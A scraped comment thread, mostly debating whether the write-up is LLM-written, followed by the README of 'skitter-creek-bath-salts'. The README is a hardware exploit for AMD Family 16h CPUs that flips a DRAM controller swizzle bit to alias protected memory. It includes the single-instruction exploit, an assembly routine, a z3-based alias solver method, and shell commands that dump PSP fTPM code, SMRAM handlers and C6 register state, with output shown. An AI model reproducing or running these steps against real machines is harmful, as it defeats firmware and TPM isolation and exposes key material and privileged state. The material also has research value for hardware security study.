- Psychological Warfare in Reverse Engineering https://www.youtube.com/watch?v=HlUe0TUHOIc
- The MoVfuscator https://www.youtube.com/watch?v=R7EEoWg6Ekk
- Hardware Backdoors in redacted x86 https://www.youtube.com/watch?v=jmTwlEh8L7g
https://jxself.org/titanic.shtml
He did it well. On "security", the author loves more to own his code/adata than anything. as did the PDP10/ITS hackers.
I’m sure Xbox and PlayStation security groups are a little nervous right now though. Getting ring-0 on those machines is near impossible, but once you do then everything else becomes wide open
Ok, the necessary refresh was always a little pain, but still something manageable.
Nowadays, I feel you need three PhD's to even bring up a micro with DRAM and don't get me started on the proprietary binary blobs necessary just for DRAM access. No wonder PSRAM is a thing.
The corollary is that it shouldn't be too surprising that this gigantic attack surface provides many opportunities. (Of course that doesn't mean it is easy to find them, hat tip to Christopher Domas, just that I expect there to be many more).
And whether it's really real in the first place.
But why on earth do they have to use AI to write their writeups?!
He should also be able to fuse away this access forever, to be fair. But out of the box, when I get a new laptop, I should be able to read and write every byte of DRAM.
https://www.youtube.com/watch?v=iOq8O_phwbA
He looks so different.
Very cool!
0: https://www.youtube.com/watch?v=4bM3Gut1hIk&pp=ygURY2hyaXN0b...
The Xbox One for example encrypts all the DRAM it uses after it gets out of the main CPU die. See this part of Tony Chen's presentation https://youtu.be/U7VwtOrwceo?t=956
Also see this bit on the Apple Secure Enclave in the "Memory Protection Engine" section which also explains how they encrypt stuff stored in DRAM: https://support.apple.com/guide/security/the-secure-enclave-...
> the Claudeisms
This is hand-waving. Please be more specific.
> made it such a slog
On the flip-side, I didn't find it a slog at all. What if you're wrong?
Swizzling "randomizes" bank/rank/channel distribution, which makes unlucky access patterns less likely. (Something I'd like to research is microbenchmarking different access patterns to infer the swizzle pattern and defeat physical ASLR)
> Developed and tested on AMD Family 16h CPUs, the last generation whose datasheets document the DRAM controller's translation registers — and show that they can't be locked. 17h and beyond simply leave this information out.
Otherwise, the guest is running effectively at the same privilege level as the hypervisor (that's useful sometimes, but probably not intended in most applications).
With ring-0 access, this lets you poke "even things walled off and invisible to ring-0 or the CPU itself" including things that the security processor tries hard to wall off.
https://onlinelibrary.wiley.com/doi/book/10.1002/97813942771...
The em dashes are the most obvious stereotypical tell, but that doesn't really matter that much (I actually like them and occasionally used them pre-AI). It's hard to put a finger on, but the most annoying LLMism to me is the overdramatic, staccato, almost "epic" way they talk. It feels like a 2009 lens flare effect over everything, it sounds like a stereotypical hacker in a CSI show.
> the last generation whose datasheets document the DRAM controller's translation registers — and show that they can't be locked
> When your code dereferences *p, it appears to access the DRAM at p. It does not — p is a virtual address
> Physical addresses are really more of a suggestion.
> That's the exploit. All of it.
The worst part is that this stuff is genuinely cool and deserves to be dramatic. And I like stereotypical, campy hacker speak! But LLMs are, IDK... bad at it? Or maybe it just becomes a bore to read the same. Exact. Dramatic. Voice. From literally everyone. After you've heard it enough times.
None of this is against Mr. Domas. He seems like a cool person, with a cool voice, and I want to read his voice, not Claude's.
> What if you're wrong?
I definitely could be! Apologies if I am. But with all the em dashes and such, and having read his previous work, I felt confident enough to mention it. And as the sibling comment says, it really is something you just learn to spot over time.
I'd just like to address this real quick because some people seem to think this is just a "hunch" that has some probability of being false; there is absolutely nothing more certain on planet Earth than the LLM involvement in this writing. It is difficult to come up with things that are certain enough to compare this to to convey the lack of doubt that exists.
I am not going to make fun of you for not being able to tell, although I do find it surprising that people seem to struggle in both directions with telling AI and human writing apart (are our brains really that different?) - I just want it to be clear that some of us can pick up Claudisms within just a couple of sentences with no effort. A Claude-generated sentence, in isolation, may not ring any alarm bells. A few of them in a row, however, that's a load-bearing smoking gun right there.
We can certainly argue to what extent undisclosed LLM involvement is an issue or not, though frankly I don't like reading LLM writeups so I would greatly prefer if people would stop using LLMs for public facing documents. But, it is at least worth making this much clear: we can tell.
> Run `platform_check` first and do not use `SKITTER_FORCE=1` casually. Start with the read-only `dram_state` and `dram_carveouts`, then `dram_dump --dry-run`. Avoid `dram_poke` until maps have been freshly collected and calibrated. Do not bypass fingerprint checks, calibration, fencing, or verification.
Claude's (apparently externally-mandated?) lobotomization continues to be concerning. :-/
Unlocking everything on the CPU with DRAM scrambling — PSP, C6, microcode, SMM, and anything else the specs left out.
&x == &x.
Usually.

Poke the DRAM controller and an address can be made to land wherever you want in
memory. skitter-creek-bath-salts modifies the bottom layers of the memory
hierarchy to rewire the physical DRAM address translations. This scrambles
platform memory, exposing protected regions of DRAM — carveouts invisible even
to the kernel. When the address translations break, so do the security
primitives built on them, and we unlock everything.
Developed and tested on AMD Family 16h CPUs, the last generation whose
datasheets document the DRAM controller's translation registers — and show that
they can't be locked. 17h and beyond simply leave this information out. The
odyssey of *p is similar across generations and
architectures, and the underlying transforms extend even to ARM, RISC-V, and
beyond; skitter-creek-bath-salts shows us only how to begin.
*pIt's a long way down.
Memory is built on layers of abstraction so deep they become almost absurd. When
your code dereferences *p, it appears to access the DRAM at p. It does not —
p is a virtual address, and before a single bit of DRAM is touched, it must
survive the gauntlet below:
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── **physical address k** <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
This project works at the deepest levels of the *p pipeline, the MCT/DCT layer
— where a physical address from the data fabric/interconnect enters the memory
controller and is rewritten one final time into the raw DRAM coordinates that are
issued to the DIMM.
Physical addresses are really more of a suggestion.
xor dword [0xf80c2094], 0x00400000
That's the exploit. All of it.
One bit-flip in the DRAM controller rewires the bottom of the *p pipeline, and
the data that was at &x is now somewhere else mid-flight. Suddenly &x != &x.
Every mechanism the CPU, firmware, uncore, and chipset use to wall off protected
memory sits above the memory controller, and none of it sees what happens below.
The fences guard physical addresses, not DRAM coordinates; rearrange the
coordinates and the barriers above never notice.
But rewiring DRAM is easy. The bit above is the bank-swizzle-mode in the DCT, and it's just one of dozens that control the address remaps at the final layer — all you have to do is poke them to make everything built on top topple. The harder part then is keeping the platform up as the entirety of system memory is scrambled underneath it.
The trick: be fast, and don't touch DRAM. Disable the APs, prime the TLBs, warm the cache, disable interrupts, flush the target, serialize memory accesses, and hope the CPU prefetched the upcoming instructions. Then rewire the MCT/DCT to spaghettify DRAM, grab some data from the protected region, revert the mappings, serialize again, enable interrupts, resume the APs, and the platform is back to normal.
mov eax, [0xf80c2094] ; prime mmio TLB
mov eax, [0x6f800000] ; prime target TLB
pushf ; preserve flags
cli ; interrupts off
clflush [0x6f800000] ; evict the target, force the dram read
mfence ; barrier - no coherent world dram access
lfence ; reordered into spaghettified view
xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000] ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble
mfence ; barrier - no spaghettified dram access
lfence ; reordered into coherent world view
popf ; interrupts back on
With some careful setup of paging, cache states, threading, and the TLBs, the
address scrambling can be made to work from C, to illustrate the *p pipeline
collapsing, and the platform's corrupted view when suddenly &x != &x:

So we can rewire the map and restore it without a trace. All that's left is knowing what we rewired it into.
Every protected memory region on the platform, reachable with a calculator.
With the above approach, we can reprogram the MCT/DCT transform on a running
system — rearranging the lowest stage of the *p pipeline to scramble memory
out from underneath every protection built above it.
But there's a challenge: while we can reprogram the translation with a simple
xor dword [0xf80c2094], 0x00400000, we have no idea what new transforms the
MCT/DCT will use (the datasheets are underspecified here — the xor maps are off,
the MMIO subtractive stage is unordered, and details vary across models).
Without this, memory scrambles, but we have no way to reconstruct it.
Fortunately, the DRAM controller's address transform is a GF(2) linear map, which means we can reconstruct the scrambled memory with basic linear algebra.
First, consider the normal case: the forward transform of the default MCT/DCT configuration gets applied to some physical address, which lands on a secret in DRAM:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
This is the coherent view of memory: the lowest stage of the *p pipeline
operates exactly as it should.
Now rewire the MCT/DCT stage of *p with xor dword [0xf80c2094], 0x00400000,
and the platform enters a scrambled/spaghettified view of memory where a
different transform allows an alias to reach the same DRAM secret:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
This alias lets us reach the same secret without hitting the existing platform locks and defenses built for the coherent view. To find the alias, compose the inverse of the attacking/spaghettified hash with the forward of the firmware/coherent hash, to get the translation that will reach any secret from the malicious MCT/DCT configuration:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
The only challenge is that the matrices are unknown, which means we have no idea how memory is actually scrambled, and no transform to use to reach the secret in the first place:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
Fortunately, at this point it's just linear algebra, and you could solve the transforms by hand if you want. Or: a calculator.
We use z3. First, the SMT solver needs constraints to work with.
Start in the coherent view, modify the MCT/DCT to switch to the spaghettified view,
drop some sentinel value like 0xdeadc0de into a random address in memory,
flip back to the coherent view, and sweep memory for where the sentinel
resurfaces. This gives a (target, alias) pair — a concrete datapoint showing two
physical addresses that map to the same cell in DRAM. Repeat the process,
gather a handful of data, pass it to z3, and it solves the translation matrix
needed to convert between the two views — any coherent-view physical address on
one side, its spaghettified-view alias on the other:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Feeding alias pairs to z3 one at a time lets us watch the SMT solver decipher the memory scrambling in real time, as shown in the opening image.
The solved transform is a rosetta stone: any target address in the coherent view
maps to an alias that reaches the same DRAM in the spaghettified view. To reach
any protected memory, take an address we can't normally touch — PSP private
memory, SMRAM, the C6 idle-state — and run it through the transform to get its
alias. Then rewire the DCT with xor dword [0xf80c2094], 0x00400000, read or
write the alias, and switch back with a second xor. The alias's path through
the *p pipeline never hits a fence the platform built for the coherent view —
unrestricted access to anything in DRAM.

In the end, everything so carefully walled off — PSP private memory, SMRAM, the C6 idle-state, inaccessible from the OS, ring-0, sometimes the CPU itself — is still sitting in the same DRAM capacitors. But the locks were built around the coherent view of memory, and do nothing against a spaghettified alias reaching the same cell.
Flip one bit in the final level of the *p pipeline, and we've unlocked
everything.
Tamper with your PSP, see what happens.
The fTPM runs on the PSP's own ARM core, in a DRAM carveout right past the visible top-of-memory. Reach it by aliasing an OS-visible physical address onto it, pull the bytes out, disassemble.
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
That's the PSP's RSA engine — the modexp behind every fTPM signature, and behind the Miller-Rabin tests that mint its keys — lifted out of memory the PSP is supposed to own alone, fenced off at the memory controller, opaque even to ring-0. Modify as you see fit.
Read what SMM hides.
The SMI handler entry vector lives at SMBASE + 0x8000. SMBASE is in
MSR 0xc0010111. Read it, pull the bytes through the alias map, and pipe
them straight into a disassembler:
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
sudo modprobe msr
# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3 ; CR0.PE | CR0.MP
mov cr0,eax ; flip the core into protected mode
jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18 ; GDT selector 0x18 -> flat data segment
mov ss,ax ; reload SS for protected mode
mov eax,0x6efe2ff8 ; SMM stack top
mov esp,eax ; install the SMM stack
o32 push byte +0x10 ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111 ; MSR SMM_BASE
rdmsr ; EAX = this core's SMBASE
mov ebx,eax ; stash SMBASE
add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax ; far-return frame: EIP = SMBASE+0x803a
retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Those instructions run in ring -2, the most privileged context on the CPU, out of memory the chipset is supposed to make unreadable. SMRAM "locked" turns out to be a polite suggestion when we can talk to the DRAM controller directly.
Swap 2x4gb for whichever prefix in data/maps/ matches your installed
DIMMs (sudo dmidecode -t memory). If your topology isn't there, run
analysis/gather_aliases.py then analysis/unspaghettify.py to bake
your own.
I have no idea what's in here and have never seen it discussed, likely internal CPU registers. Have fun.
When the cores power-gate into C6, each one's full x86 architectural context is stashed here for restore.
./userspace/platform_check || exit 1
# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
One core with the BSP bit set, three without — the boot processor and its three APs, caught mid-idle with their register state lying in the open.
The more you poke around, the more CPU registers you'll start to find:
| offset | x86 state | core-0 value |
|---|---|---|
+0x8b0 |
GS / per-cpu base | 0xffff9be4e3600000 |
+0x9a0 |
CR3 (page-table root) | 0x0fd46000 |
+0x9b8 |
